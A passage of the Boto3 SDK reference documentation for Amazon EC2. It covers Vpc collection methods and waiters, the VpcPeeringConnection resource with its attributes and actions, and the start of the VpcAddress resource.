groups. Required for security groups in a nondefault VPC. + + Default: Describes all your security groups. + + * _(string) --_ +* **GroupNames** (_list_) -- + + [EC2-Classic and default VPC only] The names of the security groups. You can specify either the security group name or the security group ID. For security groups in a nondefault VPC, use the group-name filter to describe security groups by name. + + Default: Describes all your security groups. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token to request the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another request with the returned NextToken value. This value can be between 5 and 1000. If this parameter is not specified, then all results are returned. + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of SecurityGroup resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = vpc.security_groups.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +page_size(kwargs_) + +Creates an iterable of all SecurityGroup resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +security_group_iterator = vpc.security_groups.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.SecurityGroup) + +Returns + +A list of SecurityGroup resources + +subnets + +A collection of Subnet resources.A Subnet Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Subnet resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = vpc.subnets.all() + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +filter(kwargs_) + +Creates an iterable of all Subnet resources in the collection filtered by kwargs passed to method.A Subnet collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = vpc.subnets.filter( + SubnetIds=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **SubnetIds** (_list_) -- + + One or more subnet IDs. + + Default: Describes all your subnets. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Subnet resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = vpc.subnets.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +page_size(kwargs_) + +Creates an iterable of all Subnet resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +subnet_iterator = vpc.subnets.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Subnet) + +Returns + +A list of Subnet resources + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_available(kwargs_) + +Waits until this Vpc is available. This method calls EC2.Waiter.vpc_available.wait() which polls. [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcs) + +**Request Syntax** + +vpc.wait_until_available( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * cidr - The primary IPv4 CIDR block of the VPC. The CIDR block you specify must exactly match the VPC's CIDR block for information to be returned for the VPC. Must contain the slash followed by one or two digits (for example, /28 ). + * cidr-block-association.cidr-block - An IPv4 CIDR block associated with the VPC. + * cidr-block-association.association-id - The association ID for an IPv4 CIDR block associated with the VPC. + * cidr-block-association.state - The state of an IPv4 CIDR block associated with the VPC. + * dhcp-options-id - The ID of a set of DHCP options. + * ipv6-cidr-block-association.ipv6-cidr-block - An IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.ipv6-pool - The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + * ipv6-cidr-block-association.association-id - The association ID for an IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.state - The state of an IPv6 CIDR block associated with the VPC. + * isDefault - Indicates whether the VPC is the default VPC. + * owner-id - The ID of the AWS account that owns the VPC. + * state - The state of the VPC (pending | available ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Returns + +None + +wait_until_exists(kwargs_) + +Waits until this Vpc is exists. This method calls EC2.Waiter.vpc_exists.wait() which polls. [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") every 1 seconds until a successful state is reached. An error is returned after 5 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcs) + +**Request Syntax** + +vpc.wait_until_exists( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * cidr - The primary IPv4 CIDR block of the VPC. The CIDR block you specify must exactly match the VPC's CIDR block for information to be returned for the VPC. Must contain the slash followed by one or two digits (for example, /28 ). + * cidr-block-association.cidr-block - An IPv4 CIDR block associated with the VPC. + * cidr-block-association.association-id - The association ID for an IPv4 CIDR block associated with the VPC. + * cidr-block-association.state - The state of an IPv4 CIDR block associated with the VPC. + * dhcp-options-id - The ID of a set of DHCP options. + * ipv6-cidr-block-association.ipv6-cidr-block - An IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.ipv6-pool - The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + * ipv6-cidr-block-association.association-id - The association ID for an IPv6 CIDR block associated with the VPC. + * ipv6-cidr-block-association.state - The state of an IPv6 CIDR block associated with the VPC. + * isDefault - Indicates whether the VPC is the default VPC. + * owner-id - The ID of the AWS account that owns the VPC. + * state - The state of the VPC (pending | available ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Returns + +None + +[VpcPeeringConnection](#id1257) +-------------------------------------------------------------------------------------- + +_class_ EC2.VpcPeeringConnection(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) VpcPeeringConnection: + +import boto3 + +ec2 = boto3.resource('ec2') +vpc_peering_connection = ec2.VpcPeeringConnection('id') + +Parameters + +**id** (_string_) -- The VpcPeeringConnection's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.VpcPeeringConnection.id "EC2.VpcPeeringConnection.id") + +These are the resource's available attributes: + +* [accepter_vpc_info](#EC2.VpcPeeringConnection.accepter_vpc_info "EC2.VpcPeeringConnection.accepter_vpc_info") +* [expiration_time](#EC2.VpcPeeringConnection.expiration_time "EC2.VpcPeeringConnection.expiration_time") +* [requester_vpc_info](#EC2.VpcPeeringConnection.requester_vpc_info "EC2.VpcPeeringConnection.requester_vpc_info") +* [status](#EC2.VpcPeeringConnection.status "EC2.VpcPeeringConnection.status") +* [tags](#EC2.VpcPeeringConnection.tags "EC2.VpcPeeringConnection.tags") +* [vpc_peering_connection_id](#EC2.VpcPeeringConnection.vpc_peering_connection_id "EC2.VpcPeeringConnection.vpc_peering_connection_id") + +These are the resource's available references: + +* [accepter_vpc](#EC2.VpcPeeringConnection.accepter_vpc "EC2.VpcPeeringConnection.accepter_vpc") +* [requester_vpc](#EC2.VpcPeeringConnection.requester_vpc "EC2.VpcPeeringConnection.requester_vpc") + +These are the resource's available actions: + +* [accept()](#EC2.VpcPeeringConnection.accept "EC2.VpcPeeringConnection.accept") +* [delete()](#EC2.VpcPeeringConnection.delete "EC2.VpcPeeringConnection.delete") +* [get_available_subresources()](#EC2.VpcPeeringConnection.get_available_subresources "EC2.VpcPeeringConnection.get_available_subresources") +* [load()](#EC2.VpcPeeringConnection.load "EC2.VpcPeeringConnection.load") +* [reject()](#EC2.VpcPeeringConnection.reject "EC2.VpcPeeringConnection.reject") +* [reload()](#EC2.VpcPeeringConnection.reload "EC2.VpcPeeringConnection.reload") + +These are the resource's available waiters: + +* [wait_until_exists()](#EC2.VpcPeeringConnection.wait_until_exists "EC2.VpcPeeringConnection.wait_until_exists") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The VpcPeeringConnection's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.VpcPeeringConnection.load "EC2.VpcPeeringConnection.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +accepter_vpc_info + +* _(dict) --_ + + Information about the accepter VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + +expiration_time + +* _(datetime) --_ + + The time that an unaccepted VPC peering connection will expire. + + +requester_vpc_info + +* _(dict) --_ + + Information about the requester VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + +status + +* _(dict) --_ + + The status of the VPC peering connection. + + * **Code** _(string) --_ + + The status of the VPC peering connection. + + * **Message** _(string) --_ + + A message that provides more information about the status, if applicable. + + +tags + +* _(list) --_ + + Any tags assigned to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_peering_connection_id + +* _(string) --_ + + The ID of the VPC peering connection. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +accepter_vpc + +(Vpc) The related accepter_vpc if set, otherwise None. + +requester_vpc + +(Vpc) The related requester_vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +accept(kwargs_) + +Accept a VPC peering connection request. To accept a request, the VPC peering connection must be in the pending-acceptance state, and you must be the owner of the peer VPC. Use DescribeVpcPeeringConnections to view your outstanding VPC peering connection requests. + +For an inter-Region VPC peering connection request, you must accept the VPC peering connection in the Region of the accepter VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AcceptVpcPeeringConnection) + +**Request Syntax** + +response = vpc_peering_connection.accept( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpcPeeringConnection': { + 'AccepterVpcInfo': { + 'CidrBlock': 'string', + 'Ipv6CidrBlockSet': [ + { + 'Ipv6CidrBlock': 'string' + }, + ], + 'CidrBlockSet': [ + { + 'CidrBlock': 'string' + }, + ], + 'OwnerId': 'string', + 'PeeringOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'VpcId': 'string', + 'Region': 'string' + }, + 'ExpirationTime': datetime(2015, 1, 1), + 'RequesterVpcInfo': { + 'CidrBlock': 'string', + 'Ipv6CidrBlockSet': [ + { + 'Ipv6CidrBlock': 'string' + }, + ], + 'CidrBlockSet': [ + { + 'CidrBlock': 'string' + }, + ], + 'OwnerId': 'string', + 'PeeringOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'VpcId': 'string', + 'Region': 'string' + }, + 'Status': { + 'Code': 'initiating-request'|'pending-acceptance'|'active'|'deleted'|'rejected'|'failed'|'expired'|'provisioning'|'deleting', + 'Message': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcPeeringConnectionId': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + * **VpcPeeringConnection** _(dict) --_ + + Information about the VPC peering connection. + + * **AccepterVpcInfo** _(dict) --_ + + Information about the accepter VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + * **ExpirationTime** _(datetime) --_ + + The time that an unaccepted VPC peering connection will expire. + + * **RequesterVpcInfo** _(dict) --_ + + Information about the requester VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + * **Status** _(dict) --_ + + The status of the VPC peering connection. + + * **Code** _(string) --_ + + The status of the VPC peering connection. + + * **Message** _(string) --_ + + A message that provides more information about the status, if applicable. + + * **Tags** _(list) --_ + + Any tags assigned to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection. + + +delete(kwargs_) + +Deletes a VPC peering connection. Either the owner of the requester VPC or the owner of the accepter VPC can delete the VPC peering connection if it's in the active state. The owner of the requester VPC can delete a VPC peering connection in the pending-acceptance state. You cannot delete a VPC peering connection that's in the failed state. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVpcPeeringConnection) + +**Request Syntax** + +response = vpc_peering_connection.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_vpc_peering_connections()](#EC2.Client.describe_vpc_peering_connections "EC2.Client.describe_vpc_peering_connections") to update the attributes of the VpcPeeringConnection resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc_peering_connection.load() + +Returns + +None + +reject(kwargs_) + +Rejects a VPC peering connection request. The VPC peering connection must be in the pending-acceptance state. Use the DescribeVpcPeeringConnections request to view your outstanding VPC peering connection requests. To delete an active VPC peering connection, or to delete a VPC peering connection request that you initiated, use DeleteVpcPeeringConnection . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RejectVpcPeeringConnection) + +**Request Syntax** + +response = vpc_peering_connection.reject( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +reload() + +Calls [EC2.Client.describe_vpc_peering_connections()](#EC2.Client.describe_vpc_peering_connections "EC2.Client.describe_vpc_peering_connections") to update the attributes of the VpcPeeringConnection resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc_peering_connection.reload() + +Returns + +None + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_exists(kwargs_) + +Waits until this VpcPeeringConnection is exists. This method calls EC2.Waiter.vpc_peering_connection_exists.wait() which polls. [EC2.Client.describe_vpc_peering_connections()](#EC2.Client.describe_vpc_peering_connections "EC2.Client.describe_vpc_peering_connections") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection.wait_until_exists( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * accepter-vpc-info.cidr-block - The IPv4 CIDR block of the accepter VPC. + * accepter-vpc-info.owner-id - The AWS account ID of the owner of the accepter VPC. + * accepter-vpc-info.vpc-id - The ID of the accepter VPC. + * expiration-time - The expiration date and time for the VPC peering connection. + * requester-vpc-info.cidr-block - The IPv4 CIDR block of the requester's VPC. + * requester-vpc-info.owner-id - The AWS account ID of the owner of the requester VPC. + * requester-vpc-info.vpc-id - The ID of the requester VPC. + * status-code - The status of the VPC peering connection (pending-acceptance | failed | expired | provisioning | active | deleting | deleted | rejected ). + * status-message - A message that provides more information about the status of the VPC peering connection, if applicable. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-peering-connection-id - The ID of the VPC peering connection. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Returns + +None + +[VpcAddress](#id1258) +------------------------------------------------------------------ + +_class_ EC2.VpcAddress(_allocation_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) VpcAddress: + +import boto3 + +ec2 = boto3.resource('ec2') +vpc_address = ec2.VpcAddress('allocation_id') + +Parameters + +**allocation_id** (_string_) -- The VpcAddress's allocation_id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [allocation_id](#EC2.VpcAddress.allocation_id "EC2.VpcAddress.allocation_id") + +These are the resource's available attributes: + +* [association_id](#EC2.VpcAddress.association_id "EC2.VpcAddress.association_id") +* [carrier_ip](#EC2.VpcAddress.carrier_ip "EC2.VpcAddress.carrier_ip") +* [customer_owned_ip](#EC2.VpcAddress.customer_owned_ip "EC2.VpcAddress.customer_owned_ip") +* [customer_owned_ipv4_pool](#EC2.VpcAddress.customer_owned_ipv4_pool "EC2.VpcAddress.customer_owned_ipv4_pool") +* [domain](#EC2.VpcAddress.domain "EC2.VpcAddress.domain") +* [instance_id](#EC2.VpcAddress.instance_id "EC2.VpcAddress.instance_id") +* [network_border_group](#EC2.VpcAddress.network_border_group "EC2.VpcAddress.network_border_group") +* [network_interface_id](#EC2.VpcAddress.network_interface_id "EC2.VpcAddress.network_interface_id") +* [network_interface_owner_id](#EC2.VpcAddress.network_interface_owner_id "EC2.VpcAddress.network_interface_owner_id") +* [private_ip_address](#EC2.VpcAddress.private_ip_address "EC2.VpcAddress.private_ip_address") +* [public_ip](#EC2.VpcAddress.public_ip "EC2.VpcAddress.public_ip") +* [public_ipv4_pool](#EC2.VpcAddress.public_ipv4_pool "EC2.VpcAddress.public_ipv4_pool") +* [tags](#EC2.VpcAddress.tags "EC2.VpcAddress.tags") + +These are the resource's available references: + +* [association](#EC2.VpcAddress.association "EC2.VpcAddress.association") + +These are the resource's available actions: + +* [associate()](#EC2.VpcAddress.associate "EC2.VpcAddress.associate") +* [get_available_subresources()](#EC2.VpcAddress.get_available_subresources "EC2.VpcAddress.get_available_subresources") +* [load()](#EC2.VpcAddress.load "EC2.VpcAddress.load") +* [release()](#EC2.VpcAddress.release "EC2.VpcAddress.release") +* [reload()](#EC2.VpcAddress.reload "EC2.VpcAddress.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +allocation_id + +_(string)_ The VpcAddress's allocation_id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.VpcAddress.load "EC2.VpcAddress.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +association_id + +* _(string) --_ + + The ID representing the association of the address with an instance in a VPC. + + +carrier_ip + 